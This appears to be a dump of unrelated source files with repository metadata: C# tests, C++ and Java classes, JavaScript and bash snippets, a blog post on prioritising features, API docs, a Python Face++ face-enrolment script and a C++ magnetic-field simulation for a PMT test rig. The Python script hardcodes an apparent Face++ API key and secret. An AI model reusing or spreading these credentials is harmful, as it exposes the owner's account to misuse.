using System; using FF.Contracts.Service; using FF.Data.Models; using Microsoft.VisualStudio.TestTools.UnitTesting; using Telerik.JustMock; using FluentAssertions; namespace FF.UnitTests.Data.Models { [TestClass] public class ReviewTests { private IDateTimeService _dateTimeService = Mock.CreateLike<IDateTimeService>( dts => dts.UtcNow() == new DateTime(2000, 1, 1)); private Review MakeReview() { return new Review(_dateTimeService); } /// <summary> /// example of what not to do /// </summary> [TestMethod] public void GetFreshnessScore_PassingInVotes_ReturnsANumber() { //Arrange var review = MakeReview(); var votes = 5; //Act var result = review.CalculateFreshnessScore(votes); //Assert result.GetType().Should().Be(typeof(double)); } [TestMethod] public void GetFreshnessScore_WhenMoreThanOneVotes_ReturnsMoreThanZero() { //Arrange var review = MakeReview(); var votes = 2; //Act var result = review.CalculateFreshnessScore(votes); //Assert result.Should().BeGreaterThan(0d, "the votes were greater than 1."); } [TestMethod] public void GetFreshnessScore_WhenOnlyOneVote_ReturnsZero() { //Arrange var review = MakeReview(); var votes = 1; //Act var result = review.CalculateFreshnessScore(votes); //Assert result.Should().BeApproximately(0, 0.001, "one vote makes the numerator zero."); } [TestMethod] public void GetFreshnessScore_WhenNegativeVotes_ReturnsLessThanZero() { //Arrange var review = MakeReview(); var votes = -1; //Act var result = review.CalculateFreshnessScore(votes); //Assert result.Should().BeLessThan(0d, "the votes were less than zero."); } } }
C++
UTF-8
1,346
3
3
[]
no_license
// // Created by lior on 01/06/19. // #ifndef DEVICESMANAGER_DEVICELIST_HPP #define DEVICESMANAGER_DEVICELIST_HPP #include <vector> #include <map> #include "Device.hpp" enum flag { FALSE = 0, TRUE = 1, ANY = 2}; class DeviceList { private: std::string _lastUpdateTime; std::vector<Device> _devices; flag _loopbackFlag = ANY, _upFlag = ANY, _runningFlag = ANY; std::map<const std::string ,Device> _mapDevicesByName; std::map<const std::string ,Device> _mapDevicesByMac; std::map<const std::string ,Device> _mapDevicesByIp; explicit DeviceList(flag loopback = ANY, flag up = ANY, flag running = ANY); /* Create list of devices */ public: static DeviceList& instance(flag loopback = ANY, flag up = ANY, flag running = ANY) { static DeviceList _instance; _instance.setFlags(loopback,up,running); return _instance; } void updateList(); void setFlags(flag loopback = ANY, flag up = ANY, flag running = ANY); Device &operator[] (int); /* Overloading [] operator to access elements in array style */ auto const getSize() { return _devices.size(); }; Device& getDeviceByName(const std::string& name); Device& getDeviceByMac(const std::string& name); Device& getDeviceByIp(const std::string& name); }; #endif //DEVICESMANAGER_DEVICELIST_HPP
Java
UTF-8
8,615
2.46875
2
[ "Apache-2.0" ]
permissive
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.rx_cache2.internal.cache.memory.apache; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; /** * A <code>Map</code> implementation that allows mappings to be * removed by the garbage collector. * <p> * When you construct a <code>ReferenceMap</code>, you can specify what kind * of references are used to store the map's keys and values. * If non-hard references are used, then the garbage collector can remove * mappings if a key or value becomes unreachable, or if the JVM's memory is * running low. For information on how the different reference types behave, * see {@link java.lang.ref.Reference Reference}. * <p> * Different types of references can be specified for keys and values. * The keys can be configured to be weak but the values hard, * in which case this class will behave like a * <a href="http://java.sun.com/j2se/1.4/docs/api/java/util/WeakHashMap.html"> * <code>WeakHashMap</code></a>. However, you can also specify hard keys and * weak values, or any other combination. The default constructor uses * hard keys and soft values, providing a memory-sensitive cache. * This {@link java.util.Map Map} implementation does <i>not</i> allow null elements. * Attempting to addOrUpdate a null key or value to the map will raise a <code>NullPointerException</code>. * <p> * This implementation is not synchronized. * You can use {@link java.util.Collections#synchronizedMap} to * provide synchronized access to a <code>ReferenceMap</code>. * Remember that synchronization will not stop the garbage collector removing entries. * <p> * All the available iterators can be reset back to the start by casting to * <code>ResettableIterator</code> and calling <code>reset()</code>. * <p> * <strong>Note that ReferenceMap is not synchronized and is not thread-safe.</strong> * If you wish to use this map from multiple threads concurrently, you must use * appropriate synchronization. The simplest approach is to wrap this map * using {@link java.util.Collections#synchronizedMap}. This class may throw * exceptions when accessed by concurrent threads without synchronization. * <p> * NOTE: As from Commons Collections 3.1 this map extends <code>AbstractReferenceMap</code> * (previously it extended AbstractMap). As a result, the implementation is now * extensible and provides a <code>MapIterator</code>. * * @see java.lang.ref.Reference * * @since 3.0 (previously in main package v2.1) * @version $Id: ReferenceMap.java 1477799 2013-04-30 19:56:11Z tn $ */ public class ReferenceMap<K, V> extends AbstractReferenceMap<K, V> implements Serializable { /** Serialization version */ private static final long serialVersionUID = 1555089888138299607L; /** * Constructs a new <code>ReferenceMap</code> that will * use hard references to keys and soft references to values. */ public ReferenceMap() { super(ReferenceStrength.HARD, ReferenceStrength.SOFT, AbstractHashedMap.DEFAULT_CAPACITY, AbstractHashedMap.DEFAULT_LOAD_FACTOR, false); } /** * Constructs a new <code>ReferenceMap</code> that will * use the specified types of references. * * @param keyType the type of reference to use for keys; * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} * @param valueType the type of reference to use for values; * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} */ public ReferenceMap(final ReferenceStrength keyType, final ReferenceStrength valueType) { super(keyType, valueType, AbstractHashedMap.DEFAULT_CAPACITY, AbstractHashedMap.DEFAULT_LOAD_FACTOR, false); } /** * Constructs a new <code>ReferenceMap</code> that will * use the specified types of references. * * @param keyType the type of reference to use for keys; * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} * @param valueType the type of reference to use for values; * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} * @param purgeValues should the value be automatically purged when the * key is garbage collected */ public ReferenceMap(final ReferenceStrength keyType, final ReferenceStrength valueType, final boolean purgeValues) { super(keyType, valueType, AbstractHashedMap.DEFAULT_CAPACITY, AbstractHashedMap.DEFAULT_LOAD_FACTOR, purgeValues); } /** * Constructs a new <code>ReferenceMap</code> with the * specified reference types, load factor and initial * capacity. * * @param keyType the type of reference to use for keys; * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} * @param valueType the type of reference to use for values; * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} * @param capacity the initial capacity for the map * @param loadFactor the load factor for the map */ public ReferenceMap(final ReferenceStrength keyType, final ReferenceStrength valueType, final int capacity, final float loadFactor) { super(keyType, valueType, capacity, loadFactor, false); } /** * Constructs a new <code>ReferenceMap</code> with the * specified reference types, load factor and initial * capacity. * * @param keyType the type of reference to use for keys; * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} * @param valueType the type of reference to use for values; * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} * @param capacity the initial capacity for the map * @param loadFactor the load factor for the map * @param purgeValues should the value be automatically purged when the * key is garbage collected */ public ReferenceMap(final ReferenceStrength keyType, final ReferenceStrength valueType, final int capacity, final float loadFactor, final boolean purgeValues) { super(keyType, valueType, capacity, loadFactor, purgeValues); } //----------------------------------------------------------------------- /** * Write the map out using a custom routine. */ private void writeObject(final ObjectOutputStream out) throws IOException { out.defaultWriteObject(); doWriteObject(out); } /** * Read the map in using a custom routine. */ private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); doReadObject(in); } }
JavaScript
UTF-8
337
3.453125
3
[]
no_license
var fs = require("fs"); /* Reading file asynchronously */ fs.readFile('input.txt', (err, data) => { if (err) throw err; console.log(data.toString()); }); /* Reading file synchronously var contents = fs.readFileSync('input.txt', 'utf8'); console.log(contents); */ console.log("Testing the asynchronous nature of the Program");
Markdown
UTF-8
2,889
3.4375
3
[ "MIT" ]
permissive
--- layout: post title: Developers Don't Care That Your Issue Is Critical --- All too often, I sit in a meeting with a client and conversation goes a lot like this. > **Me:** "Okay, looks like we have 4 features fully fleshed out here. When do you need each of these by." > **Client:** "We need these yesterday" Ah yes, the old "We need these yesterday" shtick that business people love to use. I've never fully understood this. I'm not some kind of future-altering time-lord. I can't just fire up the flux-capacitor and make my dev team hit 88 mph just as much as you don't have a magic ball that can see into the future. You made some mistakes and now there is a bucket of functionality that you need **NOW**. I get it. I can empathize. However, what people often don't realize is that dictating everything as critical can be more harmful than you think. I can recall one project in specific where I had 8 large features in the pipeline and they had the following levels of criticality: * Critical * Important * Requires Immediate Attention Developers were scrambling trying to figure out what needed to be worked on next. We had to sync up with our Product Owner and ask what was most critical in that moment. The answer was often different depending on what time of day it was. We were awash in a world of fluctuating levels of importance that just resulted in everything seemingly having the same level of importance. That helps no-one and it hurts the app overall. ##Criticality vs Priority What we settled on was a simple system where we ordered our features based on importance. Features of the top-most importance floated to the top of the stack. When a developer needed to move on to the next feature, a card would be popped off the stack and that was the work that was done. Just look at this: 1. Users can sign up. 2. Users can log in. 3. Users can log out. 4. Users can delete their accounts. As a developer, it is simple to know what needs to be done first in this list. The first one. I don't need to know the business reasons for why a user needs to be able to sign-up because that has already been thought out. The Product Owner has already thought through the flow of implementation and now I can focus on the actual implementation. I also don't have to bother anyone with the question "What needs to be done next?" I just take an item off the top of the stack and go. Now, sometimes I may move out of order. Sometime I am wrapping up my day at it is 4pm and I take the 3rd item in the list because it is a light feature and I know I can bang it out in a single hour. That is okay, so long as the next day I take the #1 item on the list. This system of prioritization has proven extremely valuable. My team likes it so much that we eventually moved away from assigning criticality entirely. Criticality in inherent in a features when they are prioritized
JavaScript
UTF-8
704
2.828125
3
[]
no_license
// eslint-disable-next-line no-undef const { isCardNumberValid } = require("./isCardNumberValid"); // eslint-disable-next-line no-undef const { getCardProvider } = require("./getCardProvider"); // eslint-disable-next-line no-undef module.exports.checkCardNumber = (cardNumber) => { if (typeof cardNumber === "string") { cardNumber = parseInt( [...cardNumber] .filter((el) => (el !== " ") & (el !== "-")) .join(""), ); } else if (typeof cardNumber !== "number") { throw new Error("The data type is invalid"); } return isCardNumberValid(cardNumber) ? getCardProvider(cardNumber) : "Incorrect number"; };
Shell
UTF-8
637
3.5
4
[]
no_license
#!/bin/bash for CPU in `ls -d -v /sys/devices/system/cpu/cpu[0-9]*`; do CPUID=$(basename $CPU) echo "CPU: $CPUID"; if test -e $CPU/online; then echo "1" > $CPU/online; fi; COREID="$(cat $CPU/topology/core_id)"; SOCKETID="$(cat $CPU/topology/physical_package_id)"; eval "COREENABLE=\"\${core${SOCKETID}_${COREID}enable}\""; if ${COREENABLE:-true}; then echo "${CPU} socket=${SOCKETID} core=${COREID} -> enable" eval "core${SOCKETID}_${COREID}enable='false'"; else echo "$CPU socket=${SOCKETID} core=${COREID} -> disable"; echo "0" > "$CPU/online"; fi; done;
Markdown
UTF-8
4,085
2.90625
3
[ "MIT" ]
permissive
--- title: Class List description: An observable collection of record names, useful to model relational structures category: class navLabel: List body_class: dark --- A List is a specialised Record that contains an Array of recordNames and provides a number of convinience methods for interacting with them. ## Methods ### Boolean isReady() True if the list's initial data-set has been loaded from deepstream ### Boolean isDestroyed() Return whether the list has been destroyed. If true it needs to be recreated via <a href="./RecordHandler#getList(listName)"><code>RecordHandler.getList(listName)</code></a> ### int version() Return the list version. This is solely used within a <a href="./RecordMergeStrategy"><code>RecordMergeStrategy</code></a> ### String name() Return the list name ### List addRecordEventsListener(RecordEventsListener listener) ``` {{#table mode="java-api"}} - arg: listener typ: RecordEventsListener des: The listener to add {{/table}} ``` Adds a Listener that will be invoked whenever a discard, delete or error event occurs ### List removeRecordEventsListener(RecordEventsListener listener) ``` {{#table mode="java-api"}} - arg: listener typ: RecordEventsListener des: The listener to remove {{/table}} ``` Removes a Listener that was added via List#removeRecordEventsListener ### List<String> getEntries() Returns the array of list entries or an empty array if the list hasn't been populated yet. ### List setEntries(List<String> entries) ``` {{#table mode="java-api"}} - arg: entries typ: List<String> des: The recordNames to update the list with {{/table}} ``` Updates the list with a new set of entries ### List removeEntry(String entry) ``` {{#table mode="java-api"}} - arg: entry typ: String des: The entry to remove from the list {{/table}} ``` Removes the first occurrence of an entry from the list ### List removeEntry(String entry, int index) ``` {{#table mode="java-api"}} - arg: entry typ: String des: The entry to remove from the list - arg: index typ: Int des: The index at which the entry should reside at {{/table}} ``` Removes an entry from the list if it resides at a specific index ### List addEntry(String entry) ``` {{#table mode="java-api"}} - arg: entry typ: String des: The entry to add to the list {{/table}} ``` Add an entry to the end of the list ### List addEntry(String entry, int index) ``` {{#table mode="java-api"}} - arg: entry typ: String des: The entry to add from the list - arg: index typ: Int des: The index at which the entry should reside at {{/table}} ``` Adds an entry to the list at a specific index ### boolean isEmpty() Returns true if the list is empty ### List subscribe(ListChangedListener listener) ``` {{#table mode="java-api"}} - arg: listener typ: ListChangedListener des: The listener to add {{/table}} ``` Notifies the user whenever the list has changed ### List subscribe(ListChangedListener listener, boolean triggerNow) ``` {{#table mode="java-api"}} - arg: listener typ: ListChangedListener des: The listener to add - arg: triggerNow typ: boolean des: Whether to trigger the listener immediately {{/table}} ``` Notifies the user whenever the list has changed, and notifies immediately if triggerNow is true ### List unsubscribe(ListChangedListener listener) ``` {{#table mode="java-api"}} - arg: listener typ: ListChangedListener des: The listener to remove {{/table}} ``` Removes the listener added via subscribe(listener, triggerNow) ### List subscribe(ListEntryChangedListener listener) ``` {{#table mode="java-api"}} - arg: listener typ: ListEntryChangeListener des: The listener to add {{/table}} ``` Add a listener to notify the user whenever an entry is added, removed or moved within the list ### List unsubscribe(ListEntryChangedListener listener) ``` {{#table mode="java-api"}} - arg: listener typ: ListEntryChangeListener des: The listener to remove {{/table}} ``` Remove the listener added via subscribe(listEntryChangeListener)
Python
UTF-8
4,183
2.71875
3
[]
no_license
from PIL import Image import requests import base64 import json import sys from picamera import PiCamera from time import sleep #"https://images.pexels.com/photos/415829/pexels-photo-415829.jpeg?auto=compress&cs=tinysrgb&h=350" sample url def getBool(prompt): while True: try: return {"y":True, "n":False}[raw_input(prompt).lower()] except KeyError: print "Please input y/n only." def createFace(): print "------------Starting up camera--------------" camera = PiCamera() camera.start_preview() sleep(2) camera.capture('image.jpg') camera.stop_preview() print "------------Picture taken...----------------" #encoding the image jpgfile = open("image.jpg",'rb') jpgdata = jpgfile.read() b64_1 = base64.b64encode(jpgdata) url="https://api-us.faceplusplus.com/facepp/v3/detect" payload={ 'api_key':"_eLSJf561NiuuGdVKpahOF8soZpl7213" ,'api_secret':"lQ6frS9V67fLRE1mJjskziK7pyoJC2gN" ,'image_base64': b64_1 ,'return_attributes':"gender,age,smiling,ethnicity" } response = requests.post(url, data=payload) print(response.status_code, response.reason) data = json.loads(response.text) print(data) print "---------------------------------------" if not data["faces"]: print("no faces found") return else: print("face detected") print("face token is %s" % data["faces"][0]["face_token"]) token = data["faces"][0]["face_token"] print "---------------------------------------" print "Generating id for this image" name = raw_input("Enter name of person: ") #generate user-id for detected image url="https://api-us.faceplusplus.com/facepp/v3/face/setuserid" payload={ 'api_key':"_eLSJf561NiuuGdVKpahOF8soZpl7213" ,'api_secret':"lQ6frS9V67fLRE1mJjskziK7pyoJC2gN" ,'face_token': token ,'user_id': name } response = requests.post(url, data=payload) print(response.status_code, response.reason) data = json.loads(response.text) print(data) print("Token and id generated: %s ; %s" % (token,name)) print "----------------------------------------" return token,name def addToFaceSet(faceset_token, face_token): print "Now adding new face to faceset" url="https://api-us.faceplusplus.com/facepp/v3/faceset/addface" payload={ 'api_key':"_eLSJf561NiuuGdVKpahOF8soZpl7213" ,'api_secret':"lQ6frS9V67fLRE1mJjskziK7pyoJC2gN" ,'faceset_token':faceset_token ,'face_tokens':face_token } response = requests.post(url, data=payload) print(response.status_code, response.reason) print(json.loads(response.text)) print "Successfully added face to faceset :)" return def checkFaceExists(faceset_token, face_token): print "Checking if face exists in faceset.." url="https://api-us.faceplusplus.com/facepp/v3/search" payload={ 'api_key':"_eLSJf561NiuuGdVKpahOF8soZpl7213" ,'api_secret':"lQ6frS9V67fLRE1mJjskziK7pyoJC2gN" ,'face_token':face_token ,'faceset_token':faceset_token } response = requests.post(url, data=payload) print(response.status_code, response.reason) data = json.loads(response.text) print("threshold for user: %s is at: %f" % (data["results"][0]["user_id"], data["results"][0]["confidence"])) #set duplicate threshold to be 87% if (data["results"][0]["confidence"] > 87.0): print "There is already a person with a highly similar face in the faceset." else: print "Face does not exist in faceset" if getBool("Do you want to add this person into the faceset?(y/n) "): print "adding.." return True else: print "not adding..." return False return #######################main program########################### try: face_token,name = createFace() print "Successfully generated token and name :)" sleep(1) except TypeError as err: print("Could not generate a token or name: {0}".format(err)) sys.exit() except: print "Unexpected error" #get the faceset url="https://api-us.faceplusplus.com/facepp/v3/faceset/getfacesets" payload={ 'api_key':"_eLSJf561NiuuGdVKpahOF8soZpl7213" ,'api_secret':"lQ6frS9V67fLRE1mJjskziK7pyoJC2gN" } response = requests.post(url, data=payload) print(response.status_code, response.reason) data = json.loads(response.text) print("Obtained faceset token: %s" %data["facesets"][0]["faceset_token"]) faceset_token = data["facesets"][0]["faceset_token"] sleep(1) #check if face already exists in faceset(set minimum 87% confidence interval) if checkFaceExists(faceset_token, face_token): print "Processing..." sleep(1) addToFaceSet(faceset_token, face_token)
C++
UTF-8
21,527
2.84375
3
[]
no_license
/* * ptf_bfield.cpp * Program to calculate magnetic field around PMT test facility. * * Author: Blair Jamieson (Oct. 2019) */ #include <iostream> #include <sstream> #include <fstream> #include <iomanip> #include <vector> #include <string> #include <cmath> #include "TStyle.h" #include "TVector3.h" #include "TH1D.h" #include "TH2D.h" #include "TCanvas.h" #include "TFile.h" #include "TLine.h" #include "t2kstyle.h" #include "TGraph2D.h" using std::cout; using std::endl; //const double pi = std::acos(-1.0); const double mu0_over_4pi = 1.0e-7; // Earth's field in this problem is (303, 0, -366 ) mgauss // where -y is vertical direction, +x is direction of B-field in horizontal plane const TVector3 BEarth{ 0.0, 0.0, 0.0 }; // Tesla // Use root TVector3 to represent vectors // represent wire element by vector of length three // all lenghts in meters! struct WireElement{ WireElement(); // constructors take vector dl and location rp WireElement( TVector3 adl, TVector3 arp ) : dl( adl ), rp( arp ){;} // get back info about element TVector3 get_dl() const { return dl; } TVector3 get_rp() const { return rp; } // method to get dl cross ( r-r' ) void get_dl_x_r( const TVector3 & ar, TVector3 & dlxr ) const; // method to get dl cross ( r-r' ) / |r-r'|^3 void get_dl_x_r3( const TVector3 & ar, TVector3 & dlxr ) const; private: TVector3 dl; // Direction TVector3 rp; // Location of current element }; typedef std::vector< WireElement > Wire; // method to get dl cross ( r-r' ) void WireElement::get_dl_x_r( const TVector3 & ar, TVector3 & dlxr ) const{ TVector3 rr =ar - rp; dlxr = dl.Cross( rr ); } // method to get dl cross ( r-r' ) / |r-r'|^3 void WireElement::get_dl_x_r3( const TVector3 & ar, TVector3 & dlxr ) const{ TVector3 rr =ar - rp; dlxr = dl.Cross( rr ); dlxr *= 1.0/( pow( rr.Mag(), 3 ) ); } // class to calculate magnetic field at a point. // initialize class with: // 1) current in amps // 2) std::vector< WireElement > to represent locations and directions of current // methods then exist to get field calculated at: // 1) a point (TVector3) // 2) a vector of points ( std::vector< TVector3 > ) // 3) as a TH1D along a line // 4) as a TH2D on one of planes struct BiotSavart{ BiotSavart( double aI, const Wire& ww ) : I(aI), w( ww ) { ; } BiotSavart() : I(0.) { } // setters void set_I( double aI ){ I=aI; } void set_wire( const Wire& ww ){ w = ww; } // field at point TVector3 get_B( const TVector3 &p ) const; // field at vector of points std::vector< TVector3 > get_B( const std::vector< TVector3 > & p ) const; // Build and fill a 1D histogram of |B| along line // ceneter at point loc and going in direction dir (dir must be normalized) TH1D* get_B( const TVector3 & loc, const TVector3 & dir, const int nbinsx, const double xmin, const double xmax ) const; // Build and fill 2D histogram of B in plane // Define plane by a center location and two (presumed to be orthogonal) vectors as TVector3 // assumes xdir and ydir are normalized vectors // Define region of histogram as coordinates relative to center location TH2D* get_B( const TVector3 & c, const TVector3 & xdir, const TVector3 & ydir, const int nbinsx, const double xmin, const double xmax, const int nbinsy, const double ymin, const double ymax ) const; const Wire & get_Wire() const { return w; } double get_I() const { return I; } private: double I; Wire w; }; // field at point TVector3 BiotSavart::get_B( const TVector3& p ) const{ TVector3 B(0.,0.,0.); TVector3 dB(0.,0.,0.); for ( auto elem : w ){ elem.get_dl_x_r3( p, dB ); B += dB; } B *= mu0_over_4pi * I; return B; } // field at vector of points std::vector< TVector3 > BiotSavart::get_B( const std::vector< TVector3 > & vp ) const{ std::vector< TVector3 > B; for ( const auto p : vp ){ B.push_back( get_B( p ) ); } return B; } // Build and fill a 1D histogram of B along line // center at point loc and going in direction dir (dir must be normalized) TH1D* BiotSavart::get_B( const TVector3 & loc, const TVector3 & dir, const int nbinsx, const double xmin, const double xmax ) const { static int count=0; count++; std::string hname{"get_B1D"}; hname += std::to_string( count ); TH1D* h = new TH1D( hname.c_str(), " ; loc (m) ; B ( Tesla )", nbinsx, xmin, xmax ); for ( int i=1; i<=nbinsx; ++i){ double bc = h->GetBinCenter( i ); TVector3 p = loc + bc*dir; TVector3 B = get_B( p ); h->SetBinContent( i, B.Mag() ); } return h; } // Build and fill 2D histogram of B in plane // Define plane by a center location and two (presumed to be orthogonal) vectors as TVector3 // assumes xdir and ydir are normalized vectors // Define region of histogram as coordinates relative to center location TH2D* BiotSavart::get_B( const TVector3 & c, const TVector3 & xdir, const TVector3 & ydir, const int nbinsx, const double xmin, const double xmax, const int nbinsy, const double ymin, const double ymax ) const { static int count=0; count++; std::string hname{"get_B2D"}; hname += std::to_string( count ); TH2D* h = new TH2D( hname.c_str(), " ; loc (m) ; loc (m); B ( Tesla )", nbinsx, xmin, xmax, nbinsy, ymin, ymax ); TAxis * xax = h->GetXaxis(); TAxis * yax = h->GetYaxis(); for ( int i=1; i<=nbinsx; ++i){ for ( int j=1; j<=nbinsy; ++j){ double x = xax->GetBinCenter( i ); double y = yax->GetBinCenter( j ); TVector3 p = c + x * xdir + y * ydir; TVector3 B = get_B( p ); h->SetBinContent( i, j, B.Mag() ); } } return h; } // PTF coil dimensions const double x_length = 1.96; // meters const double y_length = 2.04; // meters const double z_length = 1.89; // meters // Coil currents: const int num_coils = 6; const int coil_turns[ num_coils ] = { 52, 52, 52, 52, 260, 260 }; const double coil_voltages[ num_coils ] = { 6.6, 9.3, 2.47, 1.58, 1.74, 1.26 }; const double coil_resistances[ num_coils]= { 3.8, 3.8, 3.8, 3.9, 11.1, 11.1 }; /// PTFCoils /// Builds 6 coils with dimensions of length x_length, y_length, z_length /// Spacing of the coils is base on Helmholtz geometry (spaced by 1/2 length) /// Can independently set current of each coil. /// Default currents are from coil_turns * coil_voltages / coil_resistances /// /// Numbering for the current loops is: /// 1) Bottom coil compensating in z direction (vertical) /// 2) Top coil compensating in z direction /// 3) Left coil compensating in x direction (toward M11) /// 4) Right coil compensating in x direction (away from M11) /// 5) Front coil compensating in y direction (further into room) /// 6) Back coil compensating in y direction (closer to door) /// struct PTFCoils{ PTFCoils(); // setters void set_voltage( int iwire, double V ); // getters const Wire& get_wire_loop( int iwire ) const { return bs[iwire].get_Wire(); } double get_current( int iwire ) const { return bs[iwire].get_I(); } TVector3 get_B( const TVector3 & p ) const; friend void plot_coils( const PTFCoils& ptfc ); protected: BiotSavart bs[num_coils]; }; std::ostream& operator<<( std::ostream& os, const PTFCoils& ptfc ){ for (int i=0; i<num_coils ; ++i ) { os << "Coil " << i <<" Current = " << ptfc.get_current( i ) <<" turns=" << coil_turns[i] << " Current per turn = "<<ptfc.get_current( i ) / coil_turns[i] << endl; } return os; } /// addtowire /// Helper function to add to an existing Wire w /// Adds wire elements in steps from from to to in npts steps void addtowire( Wire& w, const TVector3& from, const TVector3& to, int npts ){ TVector3 dlvec = to - from; double length = dlvec.Mag(); double dl = length / npts; dlvec *= dl/length; // dl scaled to step size TVector3 steploc = from - 0.5*dlvec; for ( int step=0; step<npts; ++step ){ steploc += dlvec; w.push_back( WireElement( dlvec, steploc ) ); } } PTFCoils::PTFCoils(){ // build the coils const int ndl = 100; Wire coils[num_coils]; // coil 1 (a z-coil so lengths of wires are all z_length): // at z = -z_length/4 // in an offset xy-plane // wire at +x (going in +y) { TVector3 from( +z_length/2, -z_length/2, -z_length/4 ); TVector3 to ( +z_length/2, +z_length/2, -z_length/4 ); addtowire( coils[0], from, to, ndl ); } // wire at +y (going in -x) { TVector3 from( +z_length/2, +z_length/2, -z_length/4 ); TVector3 to ( -z_length/2, +z_length/2, -z_length/4 ); addtowire( coils[0], from, to, ndl ); } // wire at -x (going in -y) { TVector3 from( -z_length/2, +z_length/2, -z_length/4 ); TVector3 to ( -z_length/2, -z_length/2, -z_length/4 ); addtowire( coils[0], from, to, ndl ); } // wire at -y (going in +x) { TVector3 from( -z_length/2, -z_length/2, -z_length/4 ); TVector3 to ( +z_length/2, -z_length/2, -z_length/4 ); addtowire( coils[0], from, to, ndl ); } // coil 2 (a z-coil so lengths of wires are all z_length): // at z = +z_length/4 // in an offset xy-plane // wire at +x (going in +y) { TVector3 from( +z_length/2, -z_length/2, +z_length/4 ); TVector3 to ( +z_length/2, +z_length/2, +z_length/4 ); addtowire( coils[1], from, to, ndl ); } // wire at +y (going in -x) { TVector3 from( +z_length/2, +z_length/2, +z_length/4 ); TVector3 to ( -z_length/2, +z_length/2, +z_length/4 ); addtowire( coils[1], from, to, ndl ); } // wire at -x (going in -y) { TVector3 from( -z_length/2, +z_length/2, +z_length/4 ); TVector3 to ( -z_length/2, -z_length/2, +z_length/4 ); addtowire( coils[1], from, to, ndl ); } // wire at -y (going in +x) { TVector3 from( -z_length/2, -z_length/2, +z_length/4 ); TVector3 to ( +z_length/2, -z_length/2, +z_length/4 ); addtowire( coils[1], from, to, ndl ); } // coil 3 (a x-coil so lengths of wires are all x_length): // at x = -x_length/4 // in an offset yz-plane // wire at +y (going in +z) { TVector3 from( -x_length/4, +x_length/2, -x_length/2 ); TVector3 to ( -x_length/4, +x_length/2, +x_length/2 ); addtowire( coils[2], from, to, ndl ); } // wire at +z (going in -y) { TVector3 from( -x_length/4, +x_length/2, +x_length/2 ); TVector3 to ( -x_length/4, -x_length/2, +x_length/2 ); addtowire( coils[2], from, to, ndl ); } // wire at -y (going in -z) { TVector3 from( -x_length/4, -x_length/2, +x_length/2 ); TVector3 to ( -x_length/4, -x_length/2, -x_length/2 ); addtowire( coils[2], from, to, ndl ); } // wire at -z (going in +y) { TVector3 from( -x_length/4, -x_length/2, -x_length/2 ); TVector3 to ( -x_length/4, +x_length/2, -x_length/2 ); addtowire( coils[2], from, to, ndl ); } // coil 4 (a x-coil so lengths of wires are all x_length): // at x = +x_length/4 // in an offset yz-plane // wire at +y (going in +z) { TVector3 from( +x_length/4, +x_length/2, -x_length/2 ); TVector3 to ( +x_length/4, +x_length/2, +x_length/2 ); addtowire( coils[3], from, to, ndl ); } // wire at +z (going in -y) { TVector3 from( +x_length/4, +x_length/2, +x_length/2 ); TVector3 to ( +x_length/4, -x_length/2, +x_length/2 ); addtowire( coils[3], from, to, ndl ); } // wire at -y (going in -z) { TVector3 from( +x_length/4, -x_length/2, +x_length/2 ); TVector3 to ( +x_length/4, -x_length/2, -x_length/2 ); addtowire( coils[3], from, to, ndl ); } // wire at -z (going in +y) { TVector3 from( +x_length/4, -x_length/2, -x_length/2 ); TVector3 to ( +x_length/4, +x_length/2, -x_length/2 ); addtowire( coils[3], from, to, ndl ); } // coil 5 (a y-coil so lengths of wires are all y_length): // at y = -y_length/4 // in an offset zx-plane // wire at +z (going in +x) { TVector3 from( -y_length/2, -y_length/4, +y_length/2 ); TVector3 to ( +y_length/2, -y_length/4, +y_length/2 ); addtowire( coils[4], from, to, ndl ); } // wire at +x (going in -z) { TVector3 from( +y_length/2, -y_length/4, +y_length/2 ); TVector3 to ( +y_length/2, -y_length/4, -y_length/2 ); addtowire( coils[4], from, to, ndl ); } // wire at -z (going in -x) { TVector3 from( +y_length/2, -y_length/4, -y_length/2 ); TVector3 to ( -y_length/2, -y_length/4, -y_length/2 ); addtowire( coils[4], from, to, ndl ); } // wire at -x (going in +z) { TVector3 from( -y_length/2, -y_length/4, -y_length/2 ); TVector3 to ( -y_length/2, -y_length/4, +y_length/2 ); addtowire( coils[4], from, to, ndl ); } // coil 6 (a y-coil so lengths of wires are all y_length): // at y = +y_length/4 // in an offset zx-plane // wire at +z (going in +x) { TVector3 from( -y_length/2, +y_length/4, +y_length/2 ); TVector3 to ( +y_length/2, 